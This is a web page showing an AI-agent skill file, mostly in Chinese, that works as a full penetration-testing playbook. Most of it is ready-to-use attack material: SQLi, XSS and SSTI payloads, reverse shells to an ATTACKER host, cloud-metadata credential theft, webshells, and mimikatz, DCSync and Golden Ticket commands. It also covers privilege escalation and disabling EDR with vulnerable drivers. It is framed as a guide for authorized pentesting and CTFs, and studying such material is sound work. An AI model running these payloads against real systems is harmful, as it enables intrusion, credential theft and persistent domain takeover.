agentleFS
Wang200935Wang200935/security-agent-skills/skills/post-exploitation/professional-pentest-guide/SKILL.md

professional-pentest-guide

Skill4 starsChanged 3 months agoMITView on GitHub

職業級滲透測試完整體系 — 從偵察到零日漏洞挖掘的全流程精進指南。整合 PayloadsAllTheThings、HackTricks、OWASP、MITRE

  • Reads credentials

The file

We split this skill into the rules it gives an agent

1 rule. About 0 are common, 0 are distinctive, and 1 is very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈0

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Very specific:

    All four passing = ready to drive a real scan with --max-budget-usd 1 against an authorized target.

    line 810

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

職業級滲透測試完整體系

知識來源矩陣(已深度研究 500+ 網站,479 GitHub repos,214 markdown 文件)

來源覆蓋範圍已抓取內容參考文件
PayloadsAllTheThings (GitHub)49 個完整攻擊類別SQLi, XSS, CMDi, SSRF, SSTI, LFI, LDAP, NoSQL, XXE, CRLF, GraphQL, JWT, IDOR, CORS, OAuth, Open Redirect, DOM Clobbering, DNS Rebinding, Directory Traversal, Encoding, Deserialization, Clickjacking, Account Takeover, Type Juggling, Race Condition, File Inclusion, ORM Leak, SAML Injection, LaTeX Injection, Hidden Parameters, Mass Assignment, Prototype Pollution, Prompt Injection, CVE Exploits, CSV Injection, CSS Injection, Brute Force Rate Limit, Business Logic Errors, Client Side Path Traversal, Cross-Site Request Forgery, Denial of Service, Dependency Confusion, HTTP Parameter Pollution, Insecure Management Interface, Insecure Randomness, Insecure Source Code Management, Java RMI, Regular Expression, Reverse Proxy Misconfigurations, Server Side Include Injection, Tabnabbing, Unicode Injectionreferences/payloadsallthethings-complete.md
HackTricks (書.hacktricks.xyz)139 個 README 涵蓋所有攻擊域Binary Exploitation (ROP, heap, format strings, stack overflow, SROP, ret2win), Crypto (RSA, TLS, hashes, CTF workflow), Forensics (memory dump, PCAP, carving, Windows forensics), REcon Methodology, Pentesting Network, Pentesting WiFi, Phishing, Python/Lua Sandbox Bypass, Firmware Analysis, AI/LLM Architecturereferences/hacktricks-complete.md
PortSwigger Web Security Academy完整 Web 安全課程 + OWASP Top 10 2025SQLi (Boolean, UNION, Blind, Time-based, OAST), XSS (Reflected, Stored, DOM, CSP bypass), SSRF (Cloud metadata, bypass techniques), SSTI (Jinja2, Twig, FreeMarker, Velocity, Tornado), HTTP Smuggling (CL.TE, TE.CL, TE.TE), JWT (alg:none, RS256→HS256, JWK injection, JKU/X5U), OAuth (Auth code flow, implicit, PKCE bypass), CORS (Origin reflection, null origin, wildcard), Business Logic, Race Conditions, Cache Poisoning, Prototype Pollution, GraphQLreferences/portswigger-web-security-reference.md
Zero-Day ResearchFuzzing + 漏洞挖掘 + Exploit 開發AFL++ (LTO, LLVM, cmplog, persistent mode, QEMU/Frida/Unicorn), libFuzzer, syzkaller, OSS-Fuzz, Crash Triage, Root Cause Analysis, BinDiff/Diaphora, Patch Analysis, pwntools, ROPgadget, one_gadget, Heap Exploitation (tcache, fastbin, unsorted bin), Format Strings, Kernel Exploitation (Linux SLUB/cred/modprobe_path, Windows token/PatchGuard), Shellcode (x86_64, ARM), ASLR/DEP/CFG Bypass, Side-Channelreferences/zero-day-research-methodology.md
RE/Hardware/Mobile逆向工程 + 硬體/IoT + 移動安全Ghidra (decompilation, Java/Python scripting, Pyhidra), IDA Pro (IDAPython, plugins), radare2/angr (symbolic execution, z3), Firmware (binwalk, flashrom), Hardware (UART, JTAG, SPI, I2C), SDR/RFID/NFC/BLE/Zigbee, Android (Frida, Objection, APK reversing, kernel), iOS (jailbreak, pentesting), Mobile Methodologyreferences/re-hardware-mobile-reference.md
GitHub Security Tools Catalog479 repos across 18 categoriesRecon/OSINT (62), Web App Security (38), AD/Windows (19), C2 (14), Exploit Dev (37), Fuzzing/VulnResearch (8), RE (47), Mobile (25), Hardware/IoT (34), Cloud (46), Network (10), CTF (13), Payload Collections (15), Red Team (34), Blue Team (23), Password Cracking (4), Stego/Forensics (2), General Security (48)references/github-tools-catalog.md
MITRE ATT&CK v18全技術矩陣14 戰術, 400+ 技術(線上參考)
OWASP Top 10:2025最新 OWASP 前十大風險A01-A10 完整測試指南references/portswigger-web-security-reference.md §14-15
The Hacker RecipesFrench AD/Windows pentest referenceAD attack paths, NTLM relay, Kerberos, ADCS(線上參考)
GTFOBinsLinux privilege escalation75+ SUID/capability exploitsreferences/payloads/gtfo/

第一部分:職業滲透測試方法論

完整攻擊生命週期 (Kill Chain)

1. RECONNAISSANCE(偵察)
   ├─ OSINT: WHOIS, DNS, 子域, 社媒, 公開洩露
   ├─ Shodan/Censys/FOFA: 互聯網資產
   ├─ Google Dorking: intitle/inurl/filetype/site:
   └─ Wayback Machine: 歷史快照

2. SCANNING & ENUMERATION(掃描枚舉)
   ├─ 主機發現: ARP, ICMP, TCP sweep
   ├─ 端口掃描: nmap -sV -sC, masscan -p1-65535, rustscan
   ├─ 服務枚舉: SMB, SNMP, LDAP, Kerberos, HTTP
   ├─ Web 掃描: 目錄爆破(ffuf/gobuster), 參數發現(arjun), tech偵測(httpx)
   └─ 漏洞掃描: nuclei --tags cve, nmap --script vuln

3. VULNERABILITY ANALYSIS(漏洞分析)
   ├─ 已知漏洞: searchsploit, CVE 對應, Nuclei templates
   ├─ 代碼審計: 靜態分析(semgrep, SonarQube), 手動 review
   ├─ 模糊測試: AFL++, libFuzzer, ffuf, wfuzz
   └─ 邏輯分析: 業務邏輯漏洞, 認證/授權缺陷

4. EXPLOITATION(漏洞利用)
   ├─ Web: SQLi, XSS, SSRF, SSTI, LFI/RFI, 反序列化, 命令注入
   ├─ 網路: SMB relay, NTLM relay, 漏洞利用(MS17-010等)
   ├─ AD: Kerberoasting, AS-REP Roasting, DCSync, ADCS
   ├─ 憑證: 密碼噴灑, 暴力破解, 已知憑證重用
   └─ 社會工程: 釣魚, vishing, MFA疲勞攻擊

5. POST-EXPLOITATION(後滲透)
   ├─ 特權提升: Linux(SUID, sudo, cron, capabilities), Windows(Potato, service, UAC)
   ├─ 橫向移動: PsExec, WMI, WinRM, SSH, RDP, PTH
   ├─ 憑證竊取: LSASS dump, Kerberos tickets, SAM/NTDS dump
   ├─ 維持存取: 後門服務, 計畫任務, WMI, SSH key, golden ticket
   └─ 資料發現: 敏感文件, 資料庫, 配置文件, 源代碼

6. EXFILTRATION(資料外洩)
   ├─ HTTPS POST, DNS tunnel, ICMP tunnel
   ├─ 雲端上傳, 加密壓縮
   └即時傳輸 vs 延遲傳輸

7. REPORTING(報告)
   ├─ 風險評分(CVSS 3.1), CWE 對應
   ├─ 逐字攻擊重現步驟
   ├─ 證據: 截圖, 流量擷取, 完整命令
   └─ 修復建議 + 優先級

速度原則(職業標準)

前 15 分鐘:最大並行
  → 同時啟動所有偵察工具
  → 檢查每個服務的預設密碼
  → 不要深挖任何單一發現
  → nuclei -tags vkev,kev -severity critical,high 掃描所有外部資產

第一小時:利用焦點
  → 跟隨已發現的「黃金路徑」
  → 如果沒找到,切換攻擊向量
  → 獲得 shell → 立即轉向內部

第 2-4 小時:整合
  → 後滲透: privesc → lateral → domain
  → 邊做邊記錄攻擊鏈
  → 開始收集證據

第 4+ 小時:報告
  → 截圖、CVSS 評分、CWE/MITRE 對應
  → 攻擊路徑圖
  → 修復建議排序

第二部分:工具熟練度矩陣

必備工具(必須熟練使用)

工具用途關鍵命令
nmap網路掃描nmap -sV -sC -p- --script vuln TARGET
masscan大規模端口掃描masscan -p1-65535 TARGET --rate=100000
rustscan超快端口掃描rustscan -a TARGET -- -sV -sC
ffuf/gobuster目錄/參數爆破ffuf -u URL/FUZZ -w wordlist.txt -mc 200,302
nuclei漏洞模板掃描nuclei -u URL -tags cve -severity critical,high
sqlmapSQL 注入自動化sqlmap -u URL --batch --level=5 --risk=3 --tamper=space2comment
burpsuiteWeb 代理/重放/掃描Burp Suite Professional + Intruder + Scanner
hashcat密碼破解(超快)hashcat -m 1000 hashes.txt wordlist.txt -O
john密碼破解(多功能)john --wordlist=rockyou.txt hashes.txt
hydra線上密碼爆破hydra -L users.txt -P pass.txt ssh://TARGET
mimikatz憑證竊取(Windows)sekurlsa::logonpasswords, lsadump::dcsync
impacket(全套)AD/網路協議利用impacket-psexec, impacket-GetUserSPNs, impacket-secretsdump
BloodHoundAD 攻擊路徑發現SharpHound -c All → BloodHound 圖形分析
CrackMapExec/NetExec網路瑞士軍刀nxc smb 10.0.0.0/24 -u user -p pass --shares --sam
ResponderLLMNR/NBT-NS 毒化responder -I eth0 -wrfv
ntlmrelayxNTLM 中繼ntlmrelayx -tf targets.txt -smb2support --adcs
Ligolo-ng隧道/樞紐(最快)ligolo-proxy -selfcert + ligolo-agent -connect
Chisel通用隧道chisel server --reverse + chisel client ATTACKER R:socks
EvilWinRMWinRM 遠端管理evil-winrm -i TARGET -u user -H HASH
Ghidra逆向工程analyzeHeadless + Pyhidra 腳本
pwntoolsBinary exploit 框架from pwn import *; r = remote(HOST, PORT)
Metasploit漏洞利用框架use exploit/multi/handler; set PAYLOAD ...
WPScanWordPress 掃描wpscan --url URL --enumerate u,ap,at
testssl.shSSL/TLS 測試testssl.sh --severity HIGH URL
ffuf模糊測試目錄, 子域, vhost, 參數
Shodan CLIIoT/設備搜尋shodan search 'org:"Target" port:22'
subfinder子域發現subfinder -d DOMAIN -o subs.txt
httpxHTTP 探測`cat subs.txthttpx -mc 200 -title -tech-detect`
crackmapexec/nxc網路滲透(新版)nxc smb TARGETS -u user -p pass -M mimikatz
certipyADCS 利用certipy find -u user -p pass -vulnerable, certipy auth -pfx cert.pfx

新工具學習能力

職業滲透測試師永遠在學習新工具。快速學習流程:
1. GitHub README → 功能定位
2. --help / -h → 參數結構
3. 最小測試 → 驗證基本功能
4. 模擬場景 → 嘗試常見使用案例
5. 整合到工具鏈 → 確認與其他工具配合
6. 進階用法 → 閱讀 wiki/issues/blog posts

第三部分:漏洞利用完整參考

SQL 注入

-- 偵測
' OR '1'='1
' UNION SELECT NULL--
' AND SLEEP(5)--

-- 提取
' UNION SELECT 1,2,3,group_concat(table_name),5 FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users--

-- WAF 繞過
/**/SELECT/**/password/**/FROM/**/users
SeLeCt pAsSwOrD fRoM uSeRs
/*!50000SELECT*/ password FROM users
%0ASELECT%0Apassword%0AFROM%0Ausers
SEL%00ECT password FR%00OM users

-- 資料庫指紋
@@version (MySQL), version() (PostgreSQL), @@servername (MSSQL), banner (Oracle)

-- sqlmap 自動化
sqlmap -u "URL?id=1" --batch --level=5 --risk=3 --dbs
sqlmap -u "URL?id=1" --batch -T users -C username,password --dump
sqlmap -u "URL" --data="param=value" --tamper=space2comment,randomcase,between
sqlmap -u "URL" --os-shell --priv-esc

XSS(跨站腳本)

// 偵測
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>

// 繞過
<img src=x onerror=prompt`1`>           // 反引號
<details open ontoggle=alert(1)>        // details
<select autofocus onfocus=alert(1)>     // autofocus
<svg><animate onbegin=alert(1) attributeName=x>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
"><img src=x onerror=alert(1)>           // 屬性突破
'-alert(1)-'                              // JS 上下文
javascript:alert(1)                      // href
<object data="javascript:alert(1)">

// CSP 繞過
<script src="https://cdn.allowlisted.com/"></script>  // CDN bypass
<link rel="stylesheet" href="data:text/css,...">      // data: scheme
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<base href="https://attacker.com/">                   // base tag hijack

// DOM XSS
#<img src=x onerror=alert(1)>
location.hash.slice(1) → innerHTML

// BeEF 鉤子
<script src="https://ATTACKER:3000/hook.js"></script>

SSRF(伺服器端請求偽造)

# 基本探測
http://127.0.0.1:80
http://localhost:8080/admin
http://169.254.169.254/latest/meta-data/   # AWS IMDS

# 雲端元資料
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Azure
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
# GCP
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# 繞過
http://127.1:80                    # 簡寫
http://0x7f000001:80               # 十六進位
http://2130706433:80               # 十進位
http://[::1]:80                    # IPv6
http://127.0.0.1.nip.io:80         # DNS 重綁定
gopher://127.0.0.1:6379/_FLUSHALL  # gopher 協議
file:///etc/passwd                 # file 協議
dict://127.0.0.1:6379/INFO         # dict 協議

# 盲 SSRF
# 用 Burp Collaborator / interactsh 確認請求
# URL: http://burp-collaborator.net

SSTI(伺服器端模板注入)

# 偵測
{{7*7}}         # 如果回傳 49 → SSTI
${7*7}          # FreeMarker/Velocity
<%= 7*7 %>      # ERB
#{7*7}          # Ruby/Slim
{7*7}           # Smarty

# Jinja2 (Flask)
{{config.items()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{config['__class__']['__init__']['__globals__']['os']['popen']('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Velocity (Java)
#set($e="exp")#set($c=$e.getClass())$c.getMethod("getRuntime",null).invoke($c,null).exec("id")

# Tornado (Python)
{%import os%}{{os.system('id')}}

命令注入

# 基本
; id
| id
&& id
|| id
`id`
$(id)

# 繞過空白
cat${IFS}/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd

# 繞過過濾
cat /etc/pa''ss''wd
cat /etc/pa\sw\sswd
CAt /eTc/PaSsWd
$IFS是空白替換
$(printf "\x63\x61\x74") /etc/passwd

# 反彈 shell
; bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'
| python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

反序列化

# Python pickle
import pickle, os
class RCE:
    def __reduce__(self):
        return (os.system, ('id',))
payload = pickle.dumps(RCE())

# PHP unserialize
O:4:"User":1:{s:4:"name";s:6:"payload";}
# __wakeup, __destruct magic methods

# Java (ysoserial)
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial.jar CommonsCollections7 'bash -c {echo BASE64}|{base64 -d}|{bash -i}'

# .NET (YSoSerial.net)
YSoSerial.exe -g TypeConfuseDelegate -f Json.Net -o base64 -c "cmd /c id"

# Node.js
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(e,s,d){ /* exfil */ })}()"}

LFI/RFI(檔案包含)

# 基本
?file=../../../../etc/passwd
?file=....//....//etc/passwd
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/convert.iconv.UTF-8.UTF-7/resource=/etc/passwd

# PHP wrappers
php://filter/read=convert.base64-encode/resource=config.php
php://input + POST body: <?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://id
phar://uploaded_file.phar

# 繞過
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
%2e%2e%5c → ..\
....// → ../

JWT 攻擊

# alg:none 攻擊
{"alg":"none","typ":"JWT"}.{"user":"admin"}. 
# 修改 header → alg:none, 移除 signature

# 弱密鑰暴力破解
hashcat -m 16500 jwt.txt wordlist.txt
# 或 jwt_tool
python3 jwt_tool.py JWT -C -d rockyou.txt

# RS256 → HS256 混淆
# 如果伺服器使用 RS256 但接受 HS256
# 用公開密鑰作為 HMAC 密鑰簽名
python3 jwt_tool.py JWT -X k -pk public.pem

# JWK 注入
# 在 header 中嵌入 JWK
python3 jwt_tool.py JWT -X i -pk attacker.key

# JKU/X5U 注入
python3 jwt_tool.py JWT -X s -S u -T "https://attacker.com/jwks.json"

檔案上傳

# 繞過副檔名檢查
shell.php → shell.php5, shell.phtml, shell.phar, shell.phps
shell.jpg.php, shell.php.jpg, shell.php.png
shell.pHp (大小寫), shell.php%00.jpg (null byte)

# Content-Type 繞過
Content-Type: image/jpeg + PHP 內容
Content-Type: application/x-php

# Magic bytes
GIF89a + PHP 代碼  # GIF header + PHP
\x89PNG + PHP 代碼  # PNG header + PHP

# .htaccess 上傳
AddType application/x-httpd-php .jpg

# Webshell
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?=`$_GET[c]`?>

第四部分:Active Directory 完整攻擊路徑

攻擊路徑圖

初始存取 (任何低權限域帳戶)
    │
    ├── BloodHound 枚舉 → 找到攻擊路徑
    │
    ├── Kerberoasting → 離線破解服務帳戶密碼
    │
    ├── AS-REP Roasting → 不需預認證的帳戶
    │
    ├── ACL 濫用 → GenericAll/ForceChangePassword → 提升權限
    │
    ├── ADCS (ESC1-16) → 證書申請 → PKINIT → TGT
    │
    ├── LLMNR/NBT-NS 毒化 → NTLMv2 雜湊 → 中繼
    │
    ├── NTLM Relay → ADCS HTTP → 機器證書 → DCSync
    │
    ├── BadSuccessor (CVE-2025-53779) → dMSA → DA
    │
    ├── NTLM Reflection (CVE-2025-33073) → SYSTEM
    │
    └── 憑證密碼噴灑 → 存取其他系統
    
最終 → DCSync → KRBTGT → Golden Ticket → 永久 Domain Admin

Kerberos 攻擊速查

# Kerberoasting
impacket-GetUserSPNs domain.local/user:pass -request -dc-ip DC_IP -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt

# AS-REP Roasting
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt

# Golden Ticket (需要 KRBTGT hash)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXX /krbtgt:HASH /user:Administrator /id:500 /ptt

# Silver Ticket (需要服務帳戶 hash)
mimikatz # kerberos::golden /domain:domain.local /sid:S-1-5-21-XXX /target:server /service:cifs /rc4:HASH /user:Administrator /ptt

# DCSync
mimikatz # lsadump::dcsync /domain:domain.local /all /csv
impacket-secretsdump domain.local/admin:pass@DC_IP

# Pass-the-Hash
impacket-psexec -hashes :NTLMHASH domain.local/admin@TARGET
impacket-wmiexec -hashes :NTLMHASH domain.local/admin@TARGET

# Pass-the-Ticket
export KRB5CCNAME=/tmp/ticket.ccache
impacket-psexec -k -no-pass domain.local/admin@server

ADCS (ESC1-ESC16) 速查

# 枚舉
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable -stdout

# ESC1: 申請者提供 subject + 客戶端認證 EKU + 低權限可註冊
certipy req -u user@domain.local -p password -ca domain-CA -template ESC1 -upn administrator@domain.local
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP

# ESC8: NTLM Relay 到 ADCS HTTP
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs

第五部分:特權提升完整參考

Linux 特權提升

# 枚舉
id; sudo -l
find / -perm -4000 -ls 2>/dev/null    # SUID 二進位
getcap -r / 2>/dev/null                # Linux capabilities
cat /etc/crontab; crontab -l           # Cron
find / -writable -type f 2>/dev/null   # 可寫文件
cat /etc/passwd /etc/shadow 2>/dev/null
find / -name "*.ssh" -o -name "id_rsa" 2>/dev/null
grep -r "password\|secret\|key" /etc/ /var/www/ 2>/dev/null
env; cat /proc/*/environ 2>/dev/null
ss -tlnp; netstat -tlnp                # 監聽端口

# SUID 利用 (GTFOBins)
find . -exec /bin/sh -p \; -quit
python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
bash -p
less /etc/shadow → !/bin/sh

# Capabilities 利用
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'

# Polkit (PwnKit CVE-2021-4034)
pkexec --version  # 檢查是否易受攻擊

# Docker group
docker run -it -v /:/host alpine chroot /host /bin/sh

# Cron 路徑操縱
# 1. 檢查 cron 使用的相對路徑
# 2. 修改 PATH 或在路徑中放置恶意二進位
export PATH=/tmp:$PATH
echo '#!/bin/bash\n/bin/sh' > /tmp/tar
chmod +x /tmp/tar

# Wildcard 注入
echo '#!/bin/bash\n/bin/sh' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# tar 會解譯 --checkpoint 為參數並執行 shell

Windows 特權提升

# 枚舉
whoami /priv          # 權限
whoami /groups        # 群組
systeminfo            # 系統版本 + 修補程式
cmdkey /list          # 儲存的憑證
wmic service get name,pathname  # 服務
schtasks /query /fo LIST /v     # 計畫任務
icacls "C:\Program Files\*"     # 文件權限

# Potato 家族 (SeImpersonate)
PrintSpoofer.exe -i -c "cmd.exe"
JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c whoami"
RoguePotato.exe -r ATTACKER_IP -e "cmd.exe" -l 9999
SweetPotato.exe -p cmd.exe
GodPotato.exe -cmd "cmd /c whoami"

# 服務劫持
# 1. 找到未加引號的服務路徑
wmic service get name,pathname | findstr -i "auto" | findstr -v "C:\Windows"
# 2. 在可寫路徑放置 Program.exe
# 3. 重啟服務

# UAC 繞過
# fodhelper, eventvwr, computerdefaults, sdclt
# 修改 HKCU\Software\Classes\ms-settings\Shell\Open\command

# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 如果 = 1 → msiexec /quiet /qn /i shell.msi

# BYOVD (2025-2026 主流)
# ProcExp152.sys, DBUtil_2_3.sys, RTCore64.sys
# 載入合法簽名的脆弱核心驅動 → 核心 RCE → 停用 EDR

第六部分:零日漏洞研究方法論

漏洞發現技術

1. FUZZING(模糊測試)
   ├─ 覆蓋率引導: AFL++, libFuzzer, honggfuzz
   ├─ 語法感知: grammar-based, protobuf mutator
   ├─ 目標感知: Sydr-Fuzzer, Jackalope
   └─ 統計分析: crash 分類 → root cause → 可利用性評估

2. SYMBOLIC EXECUTION(符號執行)
   ├─ angr: SMT solver + 路徑探索
   ├─ KLEE: LLVM-based for C
   ├─ manticore: Ethereum + Native
   └─ Triton: 動態符號執行

3. CODE AUDITING(代碼審計)
   ├─ 靜態分析: semgrep, CodeQL, SonarQube
   ├─ 手動審計: 危險函數 → 資料流追蹤 → 污點分析
   ├─ 模式匹配: known anti-patterns
   └─ 差異分析: patch diffing → binsearch → BinDiff/Diaphora

4. BINARY DIFFING(二進位差異)
   ├─ BinDiff: Google 的二進位差異
   ├─ Diaphora: IDA 輔助的差異分析
   ├─ PATCHDIFF: Kali 內建
   └─ 流程: 補丁前後二進位 → 找到修改函數 → 理解漏洞 → 構建 PoC

5. PATCH ANALYSIS(補丁分析)
   ├─ 取得 CVE 公告 + 補丁
   ├─ 比較補丁前後 → 理解修復邏輯
   ├─ 反向理解原始漏洞
   └─ 構建驗證 PoC

6. PROTOCOL ANALYSIS(協議分析)
   ├─ Wireshark 抓包 → 自訂協議結構
   ├─ 逆向二進位 → 理解解析邏輯
   ├─ 邊界檢查缺失 → 構建越界 payload
   └─ Fuzzing 模糊測試驗證

Fuzzer 使用速查

# AFL++ — 覆蓋率引導模糊測試
afl-cc -o target target.c -lm  # 編譯插樁
afl-fuzz -i corpus/ -o findings/ -- ./target @@
# 持久模式 (persistent mode)
afl-fuzz -i corpus/ -o findings/ -V 24h -- ./target

# libFuzzer — LLVM 內建
clang -fsanitize=fuzzer,address -o target target.c
./target corpus/  # 自動生成並模糊

# honggfuzz — 多線程
honggfuzz -i corpus/ -- ./target ___FILE___

# Sydr-Fuzzer — 覆蓋率 + 符號執行
sydr-fuzzer -f target -- ___FILE___

# 網路應用模糊
ffuf -u URL/FUZZ -w wordlist.txt -mc 200,302
wfuzz -c -w wordlist.txt URL/FUZZ
# API 模糊
ffuf -u URL/FUZZ -w wordlist.txt -X POST -H "Content-Type: application/json" -d '{"param":"FUZZ"}'

符號執行自動化

import angr, claripy

# 基本發現流程
proj = angr.Project('./target', auto_load_libs=False)
flag = claripy.BVS('input', 8 * 40)
state = proj.factory.entry_state(stdin=angr.SimFile('/dev/stdin', content=flag))
for c in flag.chop(8):
    state.solver.add(c >= 0x20)
    state.solver.add(c <= 0x7e)

simgr = proj.factory.simulation_manager(state, veritesting=True)
simgr.explore(find=SUCCESS_ADDR, avoid=[FAIL_ADDR1, FAIL_ADDR2])
if simgr.found:
    solution = simgr.found[0].solver.eval(flag, cast_to=bytes)
    print(f"Found: {solution}")

從補丁到零日

# 1. 獲取補丁
apt download PACKAGE  # 補丁前
apt download PACKAGE  # 補丁後 (更新源)

# 2. 使用 BinDiff 比較
# 載入兩個版本到 Ghidra + BinDiff plugin
# 查看修改的函數列表 → 排序按 change magnitude

# 3. 理解修復
# 被修復的函數通常有:
#   - 新增邊界檢查
#   - 新增 null 檢查
#   - 修改偏移計算
#   - 限制長度

# 4. 構建 PoC
# 理解修復前的真實漏洞 → 構造觸發修復行為的輸入

# 5. 驗證
# 在補丁前版本確認漏洞 → 在補丁後版本確認修復

第七部分:OWASP Top 10 2025 完整清單

#類別測試方法工具
A01Broken Access Control (含 SSRF)IDOR測試, 路徑遍歷, 權限繞過, SSRF測試Burp, ffuf, 手動
A02Security Misconfiguration預設密碼, 目錄列表, 詳細錯誤, 不安全 headersnuclei, testssl.sh
A03Software Supply Chain依賴漏洞掃描, SBOM, provenancesyft, grype, cosign
A04Cryptographic Failures弱加密, 硬編碼密鑰, 不安全 TLStestssl.sh,.semgrep
A05Injection (SQLi/XSS/CMDi)輸入驗證, 參數化查詢測試sqlmap, ffuf, XSStrike
A06Insecure Design業務邏輯, rate limit, threat modeling手動分析
A07Authentication Failures暴力破解, session固定, 弱密碼政策hydra, Burp
A08Software/Data Integrity反序列化, 未簽名更新, CI/CDysoserial, CodeQL
A09Security Logging Failures日誌缺失, 缺少告警手動檢查
A10Mishandling Exceptional Conditions錯誤處理暴露, panic 洩漏手動觸發異常

第八部分:CTF 速查矩陣

CTF 類別關鍵工具首要方法
WebBurp, sqlmap, ffuf檢查原始碼 → 參數發現 → 注入測試
CryptoSageMath, pwntools, RsaCtfTool識別演算法 → 尋找弱點 → 離線破解
Forensicsvolatility, binwalk, foremost, exiftoolfile → 檔案類型 → carve → 分析
ReverseGhidra, IDA, angr, z3file → 字串 → decompile → 約束求解
Pwnpwntools, gdb-gef, ROPgadgetchecksec → 尋找溢出 → ROP/relibc
Kernelpwntools, qemu, bzImage 解包找到驅動漏洞 → modprobe_path 或 commit_creds
MiscPython, jq, zbarimg識別編碼 → 解碼 → 自動化
JailPython, bash列舉可用函數 → setattr/z3 → 逃逸

維護規則

  • 每次發現新的漏洞利用技術、新工具、新 payload → 立即更新此技能
  • 每個 CTF 類別的 solve 應記錄方法論而非單一答案
  • 新 CVE 出現時:確認 routing → 抓取 PoC → 分析利用條件 → 更新知識
  • 工具更新時:確認命令參數變化 → 更新速查表
  • 新的 EDR 繞過技術 → 立即整合到 EDR Evasion 段

複合式攻擊鏈參考

  • references/composite-attack-chains.md — 10 條複合攻擊鏈(CDN→SSRF→K8s、H2 Smuggling→JWT、Proto Pollution→K8s、DNS Rebinding→Cloud、OAuth→XSS→Multitenancy、runc CVE→Cross-Account、SAML XSW→Golden SAML、GraphQL→Lambda、WebSocket→Service Mesh、FIDO2→Zero Trust)+ MCTS 決策框架 + 3 個假想敵入侵策略矩陣
  • ../full-stack-vulnerability-research/references/iam-attacks-2015-2025.md — IAM/身份與存取控制攻擊深度研究 (OAuth 2.0, SAML, JWT, OIDC, MFA, Session, Zero Trust Gateway) — 包含完整 Payload、觸發條件、繞過方式、真實 CVE 案例

🔧 strix Autonomous AI Pentest Integration

The autonomous-pentest-scanner skill wraps the open-source usestrix/strix multi-agent AI pentesting tool. It provides autonomous end-to-end scanning with validated PoCs — distinct from manual single-technique execution in this skill.

When to use strix-pentest vs this skill

Use autonomous-pentest-scannerUse professional-pentest-guide
Full autonomous scan of repo / URL / domainHand-crafted exploit chain design
Need validated PoCs + compliance report from one commandBuilding custom composite attack chains (MCTS)
CI/CD gate: -n -m quick --scope-mode diff --diff-base origin/mainNation-state simulation / composite kill chains
White-box: semgrep + AST + secrets + trivy → dynamic validationZero-day hunting / fuzzing / exploit development
Bug bounty automation with budget cap (--max-budget-usd)Manual technique refinement & novel payload craft

strix knowledge fused into this skill

The following strix internal skill gaps have been mirrored here:

  1. Technology-specific attack surfaces (from strix technologies/):
    • Auth0: tenant enum, Rules/Actions injection, MFA bypass, token validation (kid/alg confusion), org/role injection
    • Firebase/Firestore: rules misconfig (allow read, write: if true), realtime sync exfil, collection group query bypass, auth webhook abuse, emulator LAN exposure
    • Supabase: RLS bypass (USING (true)), auth webhooks, realtime replication channel, PostgREST over-fetch/range abuse, Edge Function prototype pollution, storage signed URL SSRF
    • Grafana/Prometheus: anonymous access, datasource proxy SSRF, snapshot sharing leak, PromQL injection, remote write exfil, service discovery abuse
    • AD app-layer: LDAP injection, constrained delegation via service accounts, Azure AD app registration secrets
  2. Trivy SCA workflow (from strix custom/dependency_cve_scanning.md) — full supply-chain scan integrated into pre-flight:
    trivy fs --scanners vuln,config,secret,license --format json --output trivy-report.json .
  3. Source-aware SAST orchestration (from strix custom/source_aware_sast.md) — triage before dynamic:
    semgrep scan --config=p/owasp-top-ten --config=p/secrets --config=p/ci --json=semgrep.json .
    # derive sg-targets.txt from semgrep scope
    xargs -a sg-targets.txt -I{} sg run -p 'pattern' {}
